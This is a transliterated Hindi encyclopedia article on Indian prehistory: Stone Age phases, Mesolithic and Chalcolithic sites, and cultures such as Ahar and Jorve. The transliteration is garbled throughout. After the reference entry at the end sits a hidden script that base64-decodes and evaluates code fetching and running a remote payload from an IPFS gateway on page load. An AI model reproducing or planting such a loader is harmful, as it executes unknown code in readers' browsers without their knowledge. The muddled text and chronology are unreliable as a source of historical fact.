भारत का इतिहास पाषाण काल
| pashan yug- 70000 se 3300 ee.poo | |
|---|---|
| meharagadh sanskriti | 7000-3300 ee.poo |
| sindhu ghati sabhyata- 3300-1700 ee.poo | |
| h dappa sanskriti | 1700-1300 ee.poo |
| vaidik kal- 1500–500 ee.poo | |
| prachin bharat - 1200 ee.poo–240 ee. | |
| mahajanapad | 700–300 ee.poo |
| magadh samrajy | 545–320 ee.poo |
| satavahan samrajy | 230 ee.poo-199 ee. |
| maury samrajy | 321–184 ee.poo |
| shuang samrajy | 184–123 ee.poo |
| shak samrajy | 123 ee.poo–200 ee. |
| kushan samrajy | 60–240 ee. |
| poorv madhyakalin bharat- 240 ee.poo– 800 ee. | |
| chol samrajy | 250 ee.poo- 1070 ee. |
| gupt samrajy | 280–550 ee. |
| pal samrajy | 750–1174 ee. |
| pratihar samrajy | 830–963 ee. |
| rajapoot kal | 900–1162 ee. |
| madhyakalin bharat- 500 ee.– 1761 ee. | |
| |
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| adhunik bharat- 1762–1947 ee. | |
| maratha samrajy | 1674-1818 ee. |
| sikh rajyasangh | 1716-1849 ee. |
| aupanivesh kal | 1760-1947 ee. |
samast itihas ko tin kaloan mean vibhajit kiya ja ekata hai-
- prakhitihas ya pragaitihasik kal Prehistoric Age
- ady aitihasik kal Proto-historic Age
- aitihasik kal Historic Age
prakh itihas ya pragaitihasik kal
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is kal mean manushy ne ghatanaoan ka koee likhit vivaran nahian rakha. is kal mean vishay mean jo bhi janakari milati hai vah pashan ke upakaranoan, mitti ke bartanoan, khilaune adi se prapt hoti hai.
ady aitihasik kal
is kal mean lekhan kala ke prachalan ke bad bhi upalabdh lekh padhe nahian ja sake haian.
aitihasik kal
manav vikas ke us kal ko itihas kaha jata hai, jisake lie likhit vivaran upalabdh hai. manushy ki kahani aj se lagabhag das lakh varsh poorv prarambh hoti hai, par ‘jnani manav‘ homo saipiyans Homo sapiens ka pravesh is dharati par aj se qarib tis ya chalis hazar varsh pahale hi hua.
pashan kal
yah kal manushy ki sabhyata ka prarambhik kal mana jata hai. is kal ko tin bhagoan mean vibhajit kiya ja sakata hai. -
- pura pashan kal Paleolithic Age
- madhy pashan kal Mesolithic Age evan
- nav pashan kal athava uttar pashan kal Neolithic Age
purapashan kal
yoonani bhasha mean Palaios prachin evan Lithos pashan ke arth mean prayukt hota tha. inhian shabdoan ke adhar par Paleolithic Age (pashanakal) shabd bana . yah kal akhetak evan khady-sangrahan kal ke roop mean bhi jana jata hai. abhi tak bharat mean pura pashanakalin manushy ke avashesh kahian se bhi nahian mil paye haian, jo kuchh bhi avashesh ke roop mean mila hai, vah hai us samay prayog mean laye jane vale patthar ke upakaran. prapt upakaranoan ke adhar par yah anuman lagaya ja raha hai ki ye lagabhag 2,50,000 ee.poo. ke hoange. abhi hal mean maharashtr ke 'bori' namak sthan khudaee mean mile avasheshoan se aisa anuman lagaya ja raha hai ki is prithvi par 'manushy' ki upasthiti lagabhag 14 lakh varsh purani hai. gol pattharoan se banaye gaye prastar upakaran mukhy roop se sohan nadi ghati mean milate haian.
samany pattharoan ke kor tatha flॅks pranali dvara banaye gaye aujar mukhy roop se madras, vartaman chennee mean paye gaye haian. in donoan pranaliyoan se nirmit prastar ke aujar siangarauli ghati, mirzapur eanvan belan ghati, ilahabad mean mile haian. madhy pradesh ke bhopal nagar ke pas bhim betaka mean mili parvat guphayean evan shailashrriy bhi mahattvapoorn haian. is samay ke manushyoan ka jivan poornaroop se shikar par nirbhar tha. ve agni ke prayog se anabhijn the. sambhavatah is samay ke manushy nigreto Negreto jati ke the. bharat mean purapashan yug ko aujar-praudyogiki ke adhar par tin avasthaoan mean baanta ja ekata haian. yah avasthaean haian-
| kal | avasthaean |
|---|---|
| 1- nimn purapashan kal | hastakuthar Hand-axe aur vidarani Cleaver udyog |
| 2- madhy purapashan kal |
shalk (flॅks) se bane auzar |
| 3- uchch purapashan kal |
shalkoan aur falakoan (bled) par bane aujar |
- poorv purapashan kal ke mahattvapoorn sthal haian -
| sthal | kshetr |
|---|---|
| 1- pahalagam | kashmir |
| 2- venalaghati |
ilahabad zile mean, uttar pradesh |
| 3- bhimabetaka aur adamagadh | |
| 4- 16 ar aur siangi talab |
nagaur zile mean, rajasthan |
| 5- nevasa | |
| 6- huansagi |
gulabarga zile mean karnatak |
| 7- attiramapakkam |
- madhy purapashan yug ke mahattvapoorn sthal haian -
- bhimabetaka
- nevasa
- pushkar
- oopari siandh ki rohiri paha diyaan
- narmada ke kinare sthit samanapur
- purapashan kal mean prayukt hone vale prastar upakaranoan ke akar evan jalavayu mean hone vale parivartan ke adhar par is kal ko ham tin vargo mean vibhajit kar sakate haian.-
- nimn pura pashan kal (2,50,000-1,00,000 ee.poo.)
- madhy purapashan kal (1,00,000- 40,000 ee.poo.)
- uchch purapashan kal (40,000- 10,000 ee.poo.)
madhy pashan kal
is kal mean prayukt hone vale upakaran akar mean bahut chhote hote the, jinhean laghu pashanopakaran maikrolith kahate the. purapashan kal mean prayukt hone vale kachche padarth kvartajait ke sthan par madhy pashan kal mean jespar, eget, chart aur chalasidani jaise padarth prayukt kiye gaye. is samay ke prastar upakaran rajasthan, malava, gujarat, pashchim bangal, u disa, aandhr pradesh evan maisoor mean paye gaye haian. abhi hal mean hi kuchh avashesh mirjapur ke siangarauli, baanda evan vindhy kshetr se bhi prapt hue haian. madhy pashanakalin manav asthi-panjar ke kuchh avashesh pratapagadh, uttar pradesh ke saray nahar ray tatha mahadaha namak sthan se prapt hue haian. madhy pashanakalin jivan bhi shikar par adhik nirbhar tha. is samay tak log pashuoan mean gay, bail, bhe d, gho de evan bhaiansoan ka shikar karane lage the.
jivit vyakti ke aparivartit jaivik gunasootroan ke pramanoan ke adhar par bharat mean manav ka sabase pahala praman keral se mila hai jo sattar hazar sal purana hone ki sanbhavana hai. is vyakti ke gunasootr afriqa ke prachin manav ke jaivik gunasootroan (jins) se poori tarah milate haian.[1] yah kal vah hai jab afriqa se adi manav ne vishv ke anek hissoan mean basana prarambh kiya jo pachas se sattar hazar sal pahale ka mana jata hai. krishi sanbandhi pratham sakshy 'sambhar' rajasthan mean paudhe bone ka hai jo eesa se sat hazar varsh purana hai. 3000 ee. poorv tatha 1500 ee. poorv ke bich siandhu ghati mean ek unnat sabhyata vartaman thi, jisake avashesh mohan jod do (muan-jo-da do) aur h dappa mean mile haian. vishvas kiya jata hai ki bharat mean aryoan ka pravesh bad mean hua. vedoan mean hamean us kal ki sabhyata ki ek jhaanki milati hai.
madhy pashan kal ke antim charan mean kuchh sakshyoan ke adhar par pratit hota hai ki log krishi evan pashupalan ki or akarshit ho rahe the is samay mili samadhiyoan se spasht hota hai ki log antyeshti kriya se parichit the. manav asthipanjar ke sath kahian-kahian par kutte ke asthipanjar bhi mile hai jinase pratit hota hai ki ye log manushy ke prachin kal se hi sahachar the.
bagor aur adamagadh mean chhathi shatabdi ee.poo. ke as-pas madhy pashan yugin logoan dvara bhe de, bakariyaan rakh jane ka sakshy milata hai. madhy pashan yugin sanskriti ke mahattvapoorn sthal haian -
| sthal | kshetr |
|---|---|
| 1- bagor | rajasthan |
| 2- langhanaj |
gujarat |
| 3- saray nahararay, chopani mando, mahag da v damadama |
uttar pradesh |
| 4- bhimabetaka, adamagadh |
madhy pradesh |
nav pashan athava uttar pashan kal
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sadharanataya is kal ki sima 3500 ee.poo. se 1000 ee.poo. ke bich mani jati hai. yoonani bhasha ka Neo shabd navin ke arth mean prayukt hota hai. isalie is kal ko ‘navapashan kal‘ bhi kaha jata hai. is kal ki sabhyata bharat ke vishal kshetr mean phaili huee thi. sarvapratham 1860 ee. mean 'li mesuriyar' Le Mesurier ne is kal ka pratham prastar upakaran uttar pradesh ki tauans nadi ki ghati se prapt kiya. isake bad 1872 ee. mean 'nibaliyan frezar' ne karnatak ke 'belari' kshetr ko dakshin bharat ke uttar-pashan kalin sabhyata ka mukhy sthal ghoshit kiya. isake atirikt is sabhyata ke mukhy kendr bindu haian - kashmir, siandh pradesh, bihar, jharakhand, bangal, uttar pradesh, aandhr pradesh, chhattisagadh, asam adi.
tamr-pashanik kal
jis kal mean manushy ne patthar aur taanbe ke auzaroan ka sath-sath prayog kiya, us kal ko 'tamr-pashanik kal' kahate haian. sarvapratham jis dhatu ko auzaroan mean prayukt kiya gaya vah thi - 'taanba'. aisa mana jata hai ki taanbe ka sarvapratham prayog qarib 5000 ee.poo. mean kiya gaya. bharat mean tamr pashan avastha ke mukhy kshetr dakshin-poorvi rajasthan, madhy pradesh ke pashchimi bhag, pashchimi maharashtr tatha dakshin-poorvi bharat mean haian. dakshin-poorvi rajasthan mean sthit 'banas ghati' ke sookhe kshetroan mean 'aha da' evan 'giluand' namak sthanoan ki khudaee ki gayi. malava, evan 'eran' sthanoan par bhi khudaee ka kary sampann hua jo pashchimi madhy pradesh mean sthit hai. khudaee mean malava se prapt hone vale 'mridbhaand' tamrapashan kal ki khudaee se prapt any mridbhaandoan mean sarvattam mane gaye haian.
pashchimi maharashtr mean hue vyapak utkhanan kshetroan mean ahamadanagar ke jorve, nevasa evan dayamabad, pune zile mean sonagaanv, inamagaanv adi kshetr sammilit haian. ye sabhi kshetr ‘jorve sanskriti‘ ke antargat ate haian. is sanskriti ka samay 1,400-700 ee.poo. ke qarib mana jata hai. vaise to yah sabhyata gramin bhi par kuchh bhagoan jaise 'dayamabad' evan 'inamagaanv' mean nagarikaran ki prakriya prarambh ho gayi thi. 'banasaghati' mean sthit 'aha d' mean sapat kulha diyaan, choo diyaan aur kee tarah ki chadarean prapt huee haian. ye sab taanbe se nirmit upakaran the. 'aha d' athava 'tambavali' ke log pahale se hi dhatuoan ke vishay mean janakari rakhate the. aha d sanskriti ki samay sima 2,100 se 1,500 ee.poo. ke madhy mani jati hai. 'gilundu', jahaan par ek prastar phalak udyog ke avashesh mile haian, 'aha d sanskriti' ka kendr bindu mana jata hai.
is kal mean log gehooan, dhan aur dal ki kheti karate the. pashuoan mean ye gay, bhaians, bhe d, bakari, sooar aur ooant palate the. 'jorve sanskriti' ke antargat ek paanch kamaroan vale makan ka avashesh mila hai. jivan samanyatah gramin tha. chak nirmit lal aur kale rang ke 'mridhbhaand' paye gaye haian. kuchh bartan, jaise 'sadharan tashtariyaan' evan 'sadharan katore' maharashtr aur madhy pradesh mean 'soot evan resham ke dhage' tatha 'kayatha' mean mile 'manake ke har' ke adhar par kaha ja ekata hai ki 'tamr-pashan kal' mean log kataee-bunaee evan sonari vyavasay se parichit the. is samay shavoan ke sanskar mean ghar ke bhitar hi shavoan ka dafana diya jata tha. dakshin bharat mean prapt shavoan ke shish poorv aur pair pashchim ki or evan maharashtr mean prapt shavoan ke shish uttar ki or evan pair dakshin ki or mile haian. pashchimi bharat mean lagabhag sampoorn shavadhan evan poorvi bharat mean aanshik shavadhan ka prachalan tha.
is kal ke log lekhan kala se anabhijn the. rajasthan aur malava mean prapt mitti nirmit vrishabh ki moorti evan 'inam gaanv se prapt 'matridevi ki moorti' se lagata hai ki log vrishabh evan matridevi ki pooja karate the. tithi kram ke anusar bharat mean tamr-pashan bastiyoan ki anek shakhayean haian. kuchh to 'prakh h dappayi' haian, kuchh h dappa sanskriti ke samakalin haian, kuchh aur h dappottar kal ki haian. 'prakh h dappa kalin sanskriti' ke antargat rajasthan ke 'kalibanga' evan hariyana ke 'banavali' spashtatah tamr-pashanik avastha ke haian. 1,200 ee.poo. ke lagabhag 'tamr-pashanik sanskriti' ka lop ho gaya. keval ‘jorve sanskriti‘ hi 700 ee.poo. tak bachi rah saki. sarvapratham chitrit bhaandoan ke avashesh 'tamr-pashanik kal' mean hi milate haian. isi kal ke logoan ne sarvapratham bharatiy pray:dvip mean b de b de gaanvoan ki sthapana ki.
| sanskriti | kal |
|---|---|
| 1- aha d sanskriti | lagabhag 1700-1500 ee.poo. |
| 2- kayath sanskriti |
lagabhag 2000-1800 ee.poo. |
| 3- malava sanskriti |
lagabhag 1500-1200 ee.poo. |
| 4- savalada sanskriti . |
lagabhag 2300-2200 ee.poo |
| 5- jorve sanskriti |
lagabhag 1400-700 ee.poo. |
| 6- prabhas sanskriti |
lagabhag 1800-1200 ee.poo. |
| 7- rangapur sanskriti |
lagabhag 1500-1200 ee.poo. |
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tika tippani aur sandarbh
- ↑ dekhean: shodh granth vels, spensar (2002) a jenetik odisi (aangrezi). prinsatan yoonivarsiti prॅs, nyoo jarsi, san.ra.amarika. ISBN 0-691-11532-X.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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